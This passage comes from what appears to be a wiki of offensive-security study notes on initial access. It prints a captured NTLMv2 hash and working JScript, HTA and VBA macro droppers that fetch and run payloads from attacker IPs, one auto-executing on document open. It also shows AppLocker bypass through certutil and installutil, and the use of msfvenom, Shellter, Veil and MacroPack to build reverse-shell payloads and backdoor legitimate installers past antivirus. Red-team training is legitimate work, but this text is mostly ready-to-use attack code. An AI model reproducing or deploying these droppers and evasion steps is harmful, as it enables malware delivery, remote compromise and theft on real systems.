[*] Testuser::Domain:aaaaaaaaaaaaaaaa:40646fb31db19903e6a24ac5c3890ac9:01010000000000008054d853f122da0170c426f90c3a2d790000000001001000660049004f006a0070007a006400510003001000660049004f006a0070007a0064005100020010005a006b007a004900670056004e005000040010005a006b007a004900670056004e005000070008008054d853f122da010600040002000000080030003000000000000000000000000020000035dd0d4de6e44f56171932c0f1522230b9e11da16aa17557679e5fb48c1918560a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0038000000000000000000&lt;br /&gt;
[*] Closing down connection (10.10.110.35,4181)&lt;br /&gt;
[*] Remaining connections []&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Jscript (.js) ===&lt;br /&gt;
&lt;br /&gt;
* It downloads a file from a specified URL (&amp;quot; [http://192.168.119.120/met.exe http://192.168.1.126/met.exe]&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
* It uses the `MSXML2.XMLHTTP` object (an HTTP request object) to make a GET request to the specified URL and retrieve the file content.&lt;br /&gt;
&lt;br /&gt;
* If the HTTP request is successful (HTTP status code 200), it saves the retrieved content to a local file named &amp;quot;met.exe&amp;quot; using the `ADODB.Stream` object.&lt;br /&gt;
&lt;br /&gt;
* It then uses the `WScript.Shell` object to run the &amp;quot;met.exe&amp;quot; file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var url = &amp;quot; http://192.168.119.120/met.exe&amp;quot;;&lt;br /&gt;
var Object = WScript.CreateObject(&#039;MSXML2.XMLHTTP&#039;);&lt;br /&gt;
Object.Open(&#039;GET&#039;, url, false);&lt;br /&gt;
Object.Send();&lt;br /&gt;
if (Object.Status == 200)&lt;br /&gt;
{&lt;br /&gt;
    var Stream = WScript.CreateObject(&#039;ADODB.Stream&#039;);&lt;br /&gt;
    Stream.Open();&lt;br /&gt;
    Stream.Type = 1;&lt;br /&gt;
    Stream.Write(Object.ResponseBody);&lt;br /&gt;
    Stream.Position = 0;&lt;br /&gt;
    Stream.SaveToFile(&amp;quot;met.exe&amp;quot;, 2);&lt;br /&gt;
    Stream.Close();&lt;br /&gt;
}&lt;br /&gt;
var r = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;).Run(&amp;quot;met.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Proxy-aware ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var url = &amp;quot;http://192.168.119.120/met.exe&amp;quot;;&lt;br /&gt;
var xmlhttp = new ActiveXObject(&amp;quot;MSXML2.XMLHTTP.3.0&amp;quot;);&lt;br /&gt;
// Set proxy details using setProxy method&lt;br /&gt;
xmlhttp.setProxy(2, &amp;quot;http://proxy.example.com:8080&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
xmlhttp.open(&amp;quot;GET&amp;quot;, url, false);&lt;br /&gt;
xmlhttp.send();&lt;br /&gt;
if (xmlhttp.status === 200) {&lt;br /&gt;
    var stream = new ActiveXObject(&amp;quot;ADODB.Stream&amp;quot;);&lt;br /&gt;
    stream.Open();&lt;br /&gt;
    stream.Type = 1;&lt;br /&gt;
    stream.Write(xmlhttp.responseBody);&lt;br /&gt;
    stream.Position = 0;&lt;br /&gt;
    stream.SaveToFile(&amp;quot;met.exe&amp;quot;, 2);&lt;br /&gt;
    stream.Close();&lt;br /&gt;
}&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
shell.Run(&amp;quot;met.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTA ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/Phishing/nonDN2J.hta OSEP/Payloads/Phishing/nonDN2J.hta at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var re = shell.Run(&amp;quot;powershell -windowstyle hidden bitsadmin /Transfer newjob3 http://192.168.49.173/enc3.txt c:\\windows\\temp\\enc3.txt;certutil -decode c:\\windows\\temp\\enc3.txt c:\\windows\\temp\\bypass.exe;C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe&amp;quot;)&lt;br /&gt;
//var res = shell.Run(&amp;quot;bitsadmin /Transfer newjob2 http://192.168.49.173/enc2.txt c:\\windows\\temp\\enc1.txt&amp;quot;);&lt;br /&gt;
//var res1 = shell.Run(&amp;quot;timeout 10 &amp;amp;&amp;amp; certutil -decode c:\\windows\\temp\\enc.txt c:\\windows\\temp\\bypass.exe&amp;quot;);&lt;br /&gt;
//var res2 = shell.Run(&amp;quot;timeout 12 &amp;amp;&amp;amp; C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;powershell.exe iwr -uri http://172.21.23.10/inj_runner.exe -outfile C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe&amp;quot;);&lt;br /&gt;
var ress = shell.Run(&amp;quot;powershell.exe wget http://172.21.23.10/inj_runner.exe -o C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VBA ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim str As String&lt;br /&gt;
	str = &amp;quot;powershell (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.ps1&#039;) | IEX&amp;quot;&lt;br /&gt;
	Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
The provided VBA code automatically downloads an executable from a specified IP address when a document is opened and then runs it after a 2-second delay.&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
 MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
 MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
 Dim str As String&lt;br /&gt;
 str = &amp;quot;powershell (New-Object&lt;br /&gt;
System.Net.WebClient).DownloadFile(&#039;http://192.168.119.120/msfstaged.exe&#039;,&lt;br /&gt;
&#039;msfstaged.exe&#039;)&amp;quot;&lt;br /&gt;
 Shell str, vbHide&lt;br /&gt;
 Dim exePath As String&lt;br /&gt;
 exePath = ActiveDocument.Path + &amp;quot;\msfstaged.exe&amp;quot;&lt;br /&gt;
 Wait (2)&lt;br /&gt;
 Shell exePath, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Wait(n As Long)&lt;br /&gt;
 Dim t As Date&lt;br /&gt;
 t = Now&lt;br /&gt;
 Do&lt;br /&gt;
 DoEvents&lt;br /&gt;
 Loop Until Now &amp;gt;= DateAdd(&amp;quot;s&amp;quot;, n, t)&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EXE to DLL ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/hasherezade/exe_to_dll hasherezade/exe_to_dll: Converts a EXE into DLL (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Usage&lt;br /&gt;
#Run exe_to_dll from commandline. Arguments:&lt;br /&gt;
args:&lt;br /&gt;
# Example:&lt;br /&gt;
exe_to_dll.exe test_case1.exe test_case1.dll&lt;br /&gt;
# After the successful conversion you should obtain a DLL exporting a Start function. This is the Original Entry Point of your input application.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Evasion techniques ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
[https://evasions.checkpoint.com/?utm_source=pocket_saves Evasion techniques (checkpoint.com)]&lt;br /&gt;
&lt;br /&gt;
=== Hypervisor check ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
class Program&lt;br /&gt;
{&lt;br /&gt;
    [DllImport(&amp;quot;hypervisor_check.dll&amp;quot;, CallingConvention = CallingConvention.Cdecl)]&lt;br /&gt;
    public static extern bool is_run_in_hypervisor();&lt;br /&gt;
    static void Main()&lt;br /&gt;
    {&lt;br /&gt;
        bool inHypervisor = is_run_in_hypervisor();&lt;br /&gt;
        Console.WriteLine(inHypervisor ? &amp;quot;Running in a hypervisor!&amp;quot; : &amp;quot;Not running in a hypervisor.&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sleep function ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// Import dll&lt;br /&gt;
[DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
// In main&lt;br /&gt;
DateTime t1 = DateTime.Now;&lt;br /&gt;
Sleep(5000);&lt;br /&gt;
double t2 = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
if (t2 &amp;lt; 1.5)&lt;br /&gt;
   {&lt;br /&gt;
       return;&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Frida - Hooking ==&lt;br /&gt;
&lt;br /&gt;
== Initial Access - All-around tools ==&lt;br /&gt;
&lt;br /&gt;
There are several tools that help pack a payload that bypasses AV. Depending on your C2 framework, most of shellcode generated is burned already. Some of these tools can help evade detection.&lt;br /&gt;
&lt;br /&gt;
AV bypass can be tedious and some of these tools might help.&lt;br /&gt;
&lt;br /&gt;
=== Theory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On-Disk Evasion&lt;br /&gt;
- Packers&lt;br /&gt;
- Obfuscator&lt;br /&gt;
- Crypters&lt;br /&gt;
- Software protectors&lt;br /&gt;
# In-memory Evasion&lt;br /&gt;
- Remote Process Memory Injection&lt;br /&gt;
- Reflective DLL Injection&lt;br /&gt;
- Process Hollowing&lt;br /&gt;
- Inline hooking&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BallisKit - MacroPack ===&lt;br /&gt;
&lt;br /&gt;
[https://www.balliskit.com/ BallisKit]&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro is a Swiss-army knife for initial vector generation. It helps Red Teams automate, weaponize and deliver payloads while offering robust defense bypass techniques.&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro supports the latest trend in payload generation such as LNK, URL, ClickOnce, HTML smuggling. It can be used to generate or trojan classic Office formats (Word, Excel, PowerPoint, Publisher, OneNote, Visio, MS Project). If you are looking at Office alternatives, use MacroPack to generate scripts such as HTA, WSF, SCT, VBS, MSI, etc.&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro is compatible with common offensive frameworks and tools such as Sliver, Cobalt Strike, Mythic, Empire, among others.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
The free version of MacroPack is available here, though it won&#039;t be as good as bypassing AV.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/sevagas/macro_pack&lt;br /&gt;
# Must be installed from Windows machine&lt;br /&gt;
# Some example commands from github. All other commands are available on Github&lt;br /&gt;
# Obfuscate the vba file generated by msfvenom and puts result in a new VBA file.&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba&lt;br /&gt;
# List all supported file formats&lt;br /&gt;
macro_pack.exe --listformats&lt;br /&gt;
# List all available templates&lt;br /&gt;
macro_pack.exe --listtemplates&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mgeeky&#039;s tools ====&lt;br /&gt;
&lt;br /&gt;
Mgeeky have created some very great tools, some free, some cost money and require sponsoring on GitHub.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/sponsors/mgeeky Sponsor @mgeeky on GitHub Sponsors]&lt;br /&gt;
&lt;br /&gt;
[https://binary-offensive.com/software binary-offensive | Offensive IT Security]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Some of my private repositories shared with my Sponsors include:&lt;br /&gt;
MSISnatcher - MSI backdooring companion&lt;br /&gt;
Polonium - AV/EDR benchmarking tool, advanced shellcode loader&lt;br /&gt;
Bloated-EXE-in-LNK&lt;br /&gt;
SharpPRT - PRT extraction helper&lt;br /&gt;
cobalt-initial-opsec - headless agressor script&lt;br /&gt;
BOF.NET - (my fork) stealthily run .NET assemblies in-process&lt;br /&gt;
Carbuncle - (my fork) All you ever wanted from Outlook during RT&lt;br /&gt;
azure-functions-redirector&lt;br /&gt;
digitalocean-app-redirector&lt;br /&gt;
MyStayKit&lt;br /&gt;
Anonymize_CS_Logs&lt;br /&gt;
mgeeky-gists&lt;br /&gt;
and more..&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shellter ===&lt;br /&gt;
&lt;br /&gt;
 Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.&lt;br /&gt;
&lt;br /&gt;
 It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.&lt;br /&gt;
&lt;br /&gt;
The free version only works for x86, not x64.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install shellter&lt;br /&gt;
apt install wine&lt;br /&gt;
# If error&lt;br /&gt;
dpkg --add-architecture i386 &amp;amp;&amp;amp; apt-get update &amp;amp;&amp;amp;&lt;br /&gt;
apt-get install wine32:i386&lt;br /&gt;
# Start&lt;br /&gt;
shellter&lt;br /&gt;
# Download a valid .exe file, ex spotify installer and load it into shellter.&lt;br /&gt;
/home/aghanim/downloads/SpotifySetup.exe&lt;br /&gt;
# Choose a payload from the list.&lt;br /&gt;
L&lt;br /&gt;
1&lt;br /&gt;
SET LHOST: IP&lt;br /&gt;
SET LPORT: PORT&lt;br /&gt;
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You&#039;ll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter &amp;quot;migrate&amp;quot;.&lt;br /&gt;
set AutoRunScript post/windows/manage/migrate&lt;br /&gt;
-----------------------&lt;br /&gt;
# You can also set custom payload&lt;br /&gt;
# First generate a binary file with msfvenom. -e is the encoding we&#039;re using, and -i is the number of iterations. (The number of times to encode the payload)&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw &amp;gt; met.bin&lt;br /&gt;
# Start shellter&lt;br /&gt;
Choose Operation Mode - Auto/Manual (A/M/H): A&lt;br /&gt;
PE Target: /home/kali/poultry/whoami.exe&lt;br /&gt;
**********&lt;br /&gt;
* Backup *&lt;br /&gt;
**********&lt;br /&gt;
Backup: Shellter_Backups\whoami.exe&lt;br /&gt;
...&lt;br /&gt;
Filtering Time Approx: 0.0024 mins.&lt;br /&gt;
Enable Stealth Mode? (Y/N/H): N&lt;br /&gt;
************&lt;br /&gt;
* Payloads *&lt;br /&gt;
************&lt;br /&gt;
[1] Meterpreter_Reverse_TCP   [stager]&lt;br /&gt;
[2] Meterpreter_Reverse_HTTP  [stager]&lt;br /&gt;
[3] Meterpreter_Reverse_HTTPS [stager]&lt;br /&gt;
[4] Meterpreter_Bind_TCP      [stager]&lt;br /&gt;
[5] Shell_Reverse_TCP         [stager]&lt;br /&gt;
[6] Shell_Bind_TCP            [stager]&lt;br /&gt;
[7] WinExec&lt;br /&gt;
Use a listed payload or custom? (L/C/H): C&lt;br /&gt;
Select Payload: /home/kali/poultry/met.bin&lt;br /&gt;
Is this payload a reflective DLL loader? (Y/N/H): N&lt;br /&gt;
****************&lt;br /&gt;
* Payload Info *&lt;br /&gt;
****************&lt;br /&gt;
...&lt;br /&gt;
Injection: Verified!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Veil Framework ===&lt;br /&gt;
&lt;br /&gt;
Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
# https://github.com/Veil-Framework/Veil&lt;br /&gt;
apt -y install veil&lt;br /&gt;
/usr/share/veil/config/setup.sh --force --silent&lt;br /&gt;
# If error with (wine) python pip peefile version fix with this&lt;br /&gt;
vim /usr/share/veil/config/setup.sh&lt;br /&gt;
Change line 587 to:&lt;br /&gt;
sudo -u &amp;quot;${trueuser}&amp;quot; WINEPREFIX=&amp;quot;${winedir}&amp;quot; wine &amp;quot;${winedir}/drive_c/Python34/python.exe&amp;quot; &amp;quot;-m&amp;quot; &amp;quot;pip&amp;quot; &amp;quot;install&amp;quot; &amp;quot;-Iv&amp;quot; &amp;quot;pefile==2019.4.18&amp;quot;&lt;br /&gt;
Then, run # veil --setup again.&lt;br /&gt;
&lt;br /&gt;
# Start veil&lt;br /&gt;
veil&lt;br /&gt;
# or&lt;br /&gt;
/usr/share/veil/Veil.py&lt;br /&gt;
# Available Commands:&lt;br /&gt;
        exit                    Completely exit Veil&lt;br /&gt;
        info                    Information on a specific tool&lt;br /&gt;
        list                    List available tools&lt;br /&gt;
        options                 Show Veil configuration&lt;br /&gt;
        update                  Update Veil&lt;br /&gt;
        use                     Use a specific tool&lt;br /&gt;
&lt;br /&gt;
# Generate a powershell script (bat file) for evasion&lt;br /&gt;
veil &amp;gt; use evasion&lt;br /&gt;
# List payloads&lt;br /&gt;
veil &amp;gt; list&lt;br /&gt;
# Use powershell rev tcp payload&lt;br /&gt;
veil/evasion &amp;gt; use powershell/meterpreter/rev_tcp.py&lt;br /&gt;
# List options&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: options&lt;br /&gt;
# Generate payload&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: generate&lt;br /&gt;
&lt;br /&gt;
# From pic below, payload is in /var/lib/veil/output/source/ folder&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Ebowla ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/Genetic-Malware/Ebowla&lt;br /&gt;
# Use it to obfuscate payloads like JuicyPotato or other exploits.&lt;br /&gt;
# Quick demo&lt;br /&gt;
https://www.youtube.com/watch?v=rRm3O7w5GHg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Just Enought Administration (JEA) ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Purpose&#039;&#039;&#039;: Provides specific users/groups just enough permissions to execute their tasks without compromising security.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Function&#039;&#039;&#039;: Allows delegated administration via PowerShell. Applicable to both servers and clients.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Benefits&#039;&#039;&#039;:&lt;br /&gt;
Reduces the number of administrators.&lt;br /&gt;
&lt;br /&gt;
* Limits administrator capabilities.&lt;br /&gt;
&lt;br /&gt;
* Provides logging to monitor actions of JEA enabled users.&lt;br /&gt;
&lt;br /&gt;
* JEA sessions typically run in RestrictedRemoteServer mode, with limited commands.&lt;br /&gt;
&lt;br /&gt;
* Files and commands executed in a JEA session might run with administrative privileges.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Session Configuration File is a file that has the .pssc extension. The below listing shows a default file created with the New-PSSessionConfigurationFile command in PowerShell.&lt;br /&gt;
## Default PSSession Configuration file&lt;br /&gt;
1 @{&lt;br /&gt;
2&lt;br /&gt;
3 # Version number of the schema used for this document&lt;br /&gt;
4 SchemaVersion = &#039;2.0.0.0&#039;&lt;br /&gt;
5&lt;br /&gt;
6 # ID used to uniquely identify this document&lt;br /&gt;
7 GUID = &#039;e4f7e55c-57dc-41b2-bab0-ae4bb209fbe9&#039;&lt;br /&gt;
8&lt;br /&gt;
9 # Author of this document&lt;br /&gt;
10 Author = &#039;administrator&#039;&lt;br /&gt;
11&lt;br /&gt;
12 # Description of the functionality provided by these settings&lt;br /&gt;
13 # Description = &#039;&#039;&lt;br /&gt;
14&lt;br /&gt;
15 # Session type defaults to apply for this session configuration. Can be &#039;RestrictedRemoteServer&#039; (recommended), &#039;Empty&#039;, or 16 &#039;Default&#039;&lt;br /&gt;
16 SessionType = &#039;Default&#039;&lt;br /&gt;
17&lt;br /&gt;
18 # Directory to place session transcripts for this session configuration&lt;br /&gt;
19 # TranscriptDirectory = &#039;C:\Transcripts\&#039;&lt;br /&gt;
20&lt;br /&gt;
21 # Whether to run this session configuration as the machine&#039;s (virtual) administrator account&lt;br /&gt;
22 # RunAsVirtualAccount = $true&lt;br /&gt;
23&lt;br /&gt;
24 # Scripts to run when applied to a session&lt;br /&gt;
25 # ScriptsToProcess = &#039;C:\ConfigData\InitScript1.ps1&#039;, &#039;C:\ConfigData\InitScript2.ps1&#039;&lt;br /&gt;
26&lt;br /&gt;
27 # User roles (security groups), and the role capabilities that should be applied to them when applied to a session&lt;br /&gt;
28 # RoleDefinitions = @{ &#039;CONTOSO\SqlAdmins&#039; = @{ RoleCapabilities = &#039;SqlAdministration&#039; }; &#039;CONTOSO\SqlManaged&#039; = @{ RoleCapabilityFiles = &#039;C:\RoleCapability\SqlManaged.psrc&#039; }; 29 &#039;CONTOSO\ServerMonitors&#039; = @{ VisibleCmdlets = &#039;Get-Process&#039; } }&lt;br /&gt;
29&lt;br /&gt;
30 }&lt;br /&gt;
&lt;br /&gt;
# Enumerate commands. The command below will tell you what kind of commands you&#039;re allowed to run.&lt;br /&gt;
Get-Command&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Just-In-Time Access (JIT) ==&lt;br /&gt;
&lt;br /&gt;
* JIT is a security feature that provides temporary, limited administrative access to resources. Reduces the risk associated with permanent administrative privileges.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case&#039;&#039;&#039;:&lt;br /&gt;
User needs to log in and perform maintenance requiring administrative privileges.&lt;br /&gt;
&lt;br /&gt;
* Instead of giving permanent access, JIT allows for temporary administrative access.&lt;br /&gt;
&lt;br /&gt;
* After the set duration, access is automatically revoked.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Integration&#039;&#039;&#039;:&lt;br /&gt;
Active Directory + JIT = Needs Privileged Access Management Feature (PAM) to be enabled.&lt;br /&gt;
&lt;br /&gt;
* PAM writes specific attributes that can be enumerated.&lt;br /&gt;
&lt;br /&gt;
* Once PAM is enabled in AD, it can&#039;t be disabled.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Explotation usually requires approval from another user.&lt;br /&gt;
# Lets say I request access to a file server through the PAM. Unless there is an automatic approval, a user have to log in and accept my access.&lt;br /&gt;
# Thats why this is harder to enumerate and exploit, and is usually done in the later stages of an engagement.&lt;br /&gt;
# Enumerate&lt;br /&gt;
## First import the dll to memory&lt;br /&gt;
Import-Module Microsoft.ActiveDirectory.Management&lt;br /&gt;
# Then you can enumerate the Get-commands&lt;br /&gt;
Get-Command -Module Microsoft.ActiveDirectory.Management | Where-Object { $_.Name -like &amp;quot;Get-*&amp;quot; }&lt;br /&gt;
# Example output of PAM being enabled on AD.&lt;br /&gt;
Get-ADOptionalFeature -Filter *&lt;br /&gt;
...&lt;br /&gt;
FeatureGUID        :&lt;br /&gt;
RequiredDomainMode :&lt;br /&gt;
RequiredForestMode : Windows2016Forest&lt;br /&gt;
IsDisableable      : False&lt;br /&gt;
FeatureScope       : {ForestOrConfigurationSet}&lt;br /&gt;
DistinguishedName  : CN=Privileged Access Management Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=corp,DC=com&lt;br /&gt;
Name               : Privileged Access Management Feature&lt;br /&gt;
ObjectClass        : msDS-OptionalFeature&lt;br /&gt;
ObjectGuid         :&lt;br /&gt;
PropertyNames      : {DistinguishedName, EnabledScopes, FeatureGUID, FeatureScope...}&lt;br /&gt;
AddedProperties    : {}&lt;br /&gt;
RemovedProperties  : {}&lt;br /&gt;
ModifiedProperties : {}&lt;br /&gt;
PropertyCount      : 10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== JScript ==&lt;br /&gt;
&lt;br /&gt;
JScript is a scripting language used to make websites and Windows programs interactive and dynamic. It&#039;s similar to JavaScript.&lt;br /&gt;
&lt;br /&gt;
[https://en.wikipedia.org/wiki/JScript JScript - Wikipedia]&lt;br /&gt;
&lt;br /&gt;
=== DotNetToJscript ===&lt;br /&gt;
&lt;br /&gt;
If you get &amp;quot;This tool should only be run on v2 of the CLR&amp;quot; while trying to run the binary, look at the forum below.&lt;br /&gt;
&lt;br /&gt;
[https://forums.offsec.com/showthread.php?46639-DotNetToJScript-compilation&amp;amp;highlight=tool+run+CLR DotNetToJScript compilation (offsec.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
You could just comment off the code portion in Program.cs of DotNetToJScript project, where it checks the Environment.Version.Major != 2 and throws the error &amp;quot;This tool should only be run on v2 of the CLR&amp;quot;. The resulting .js file works just fine.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/tyranid/DotNetToJScript https://github.com/tyranid/DotNetToJScript]&lt;br /&gt;
&lt;br /&gt;
* Download DotNetToJscript.&lt;br /&gt;
&lt;br /&gt;
* Open the .sln&lt;br /&gt;
&lt;br /&gt;
* Compile both DotNetToJscript and ExampleAssembly&lt;br /&gt;
&lt;br /&gt;
* Run the command below.&lt;br /&gt;
&lt;br /&gt;
* Open demo.js&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Testclass.cs&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The below code is the ExampleAssembly.dll. You can change the code, but remember that the class-name and the public void name have to be the same in order for DotNetToJscript.exe to work.&lt;br /&gt;
using System;&lt;br /&gt;
